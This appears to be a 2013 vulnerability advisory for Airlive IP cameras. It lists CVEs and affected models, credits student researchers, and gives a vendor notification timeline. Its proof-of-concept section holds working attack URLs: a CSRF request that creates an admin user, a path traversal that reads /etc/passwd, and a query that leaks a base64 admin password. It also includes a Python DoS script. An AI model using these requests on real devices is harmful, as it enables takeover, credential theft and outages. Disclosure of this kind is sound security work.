80 lines
No EOL
4.4 KiB
Text
80 lines
No EOL
4.4 KiB
Text
===========================================================================
|
||
AIRLIVE
|
||
====================================================================
|
||
===========================================================================
|
||
|
||
1.Advisory Information
|
||
Title: Airlive Multiple Vulnerabilities
|
||
Date Published: 12/06/2013
|
||
Date of last updated: 12/06/2013
|
||
|
||
2.Vulnerability Description
|
||
Multiple vulnerabilities have been found in this devices:
|
||
-CVE-2013-3540. Cross Site Request Forgery(CWE-352) and Clickjacking(CAPEC-103)
|
||
-CVE-2013-3541. Relative Path Traversal(CWE-23).
|
||
-CVE-2013-3686. Information Exposure(CWE-200) and Permissions, Priveleges and Access Controls(CWE-264)
|
||
-CVE-2013-3687. Clear Text Storage of Sensitive Information(CWE-312)
|
||
-CVE-2013-3691. Denial of Service
|
||
|
||
3.Affected Products
|
||
CVE-2013-3541, CVE-2013-3686, the following product is affected: WL2600CAM
|
||
CVE-2013-3540, CVE-2013-3687, the following products are affected: POE2600HD, POE250HD, POE200HD, OD-325HD, OD-2025HD, OD-2060HD, POE100HD.
|
||
It’s possible others models are affected but they were not checked.
|
||
|
||
4.PoC
|
||
4.1.Cross Site Request Forgery (CSRF)
|
||
CVE-2013-3540 CSRF via GET method. Targeted attack to any administrator.
|
||
These cameras use a web interface which is prone to CSRF vulnerabilities.
|
||
A malicious user can try targeted attacks by sending a special CSRF vector. This allows you to manipulate web interface parameters.
|
||
In the following example we will make a vector to create an alternative user with administration credentials.
|
||
_____________________________________________________________________________
|
||
http://xx.xx.xx.xx/cgi-bin/admin/usrgrp.cgi?user=test1&pwd=test1&grp=administrator&sgrp=ptz&action=add&redirect=
|
||
_____________________________________________________________________________
|
||
|
||
4.2.Relative Path Traversal
|
||
CVE-2013-3541, Transversal Path that’s allow you to read file system configuration.
|
||
_____________________________________________________________________________
|
||
http://xx.xx.xx.xx/cgi-bin/admin/fileread?READ.filePath=../../../../etc/passwd
|
||
_____________________________________________________________________________
|
||
|
||
4.3.Sensitive Information Exposure + Privilege Escalation
|
||
CVE-2013-3686, Sensitive Exposure of sensitive data by writing the following URL
|
||
_____________________________________________________________________________
|
||
http://xx.xx.xx.xx/cgi-bin/operator/param?action=list&group=General.UserID
|
||
_____________________________________________________________________________
|
||
We can decode Admin password (base64).
|
||
Now we can relogin like admin user and we have made the escalation privilege
|
||
|
||
4.4.Clear Text Storage of Sensitive Information
|
||
CVE-2013-3687 You can find all the sensitive information about the device in plain text inside the backup file.
|
||
You can open with any text editor and look for user's information for example, passwords, users and so on.
|
||
|
||
4.5.Denial of Service (DoS)
|
||
Use CVE-2013-3691, DoS by overbuffing path ‘/’. A request with a large number of ‘a’ can take down the http service from the camera device.
|
||
_____________________________________________________________________________
|
||
Request: http://xx.xx.xx.xx/[a*3000]
|
||
_____________________________________________________________________________
|
||
You will get the next message, Conexion has been reset. After remove de adds and refresh it you will get the next message, Can't Connect
|
||
|
||
It will be down for around 2min but if we are doing the request once and again each 1min for example, the camera won’t recuperate ever itself
|
||
|
||
The following Python script could be used to test the DoS:
|
||
_____________________________________________________________________________
|
||
@ request = 'GET /' + ‘A’ * 3000 + '.html HTTP/1.0\r\n'
|
||
@ s = socket.socket()
|
||
@ s.connect((cam_ip, 80))
|
||
@ s.send(request)
|
||
@ response = s.recv(1024)
|
||
@ s.close()
|
||
_____________________________________________________________________________
|
||
|
||
5.Credits
|
||
|
||
-CVE-2013-3541 was discovered by Eliezer Varadé Lopez, Javier Repiso Sánchez and Jonás Ropero Castillo.
|
||
-CVE-2013-3691 was discovered by Javier Repiso Sánchez and Jonás Ropero Castillo
|
||
-CVE-2013-3540, CVE-2013-3686, CVE-2013-3687 was discovered by Jonás Ropero Castillo.
|
||
|
||
6.Report Timeline
|
||
-2013-05-31: Students team notifies the Airlive Customer Support of the vulnerabilities. No reply received.
|
||
-2013-06-03: Students asks for a reply.
|
||
-2013-06-05: Airlive team reports to the technical support to analyze the vulnerabilities. |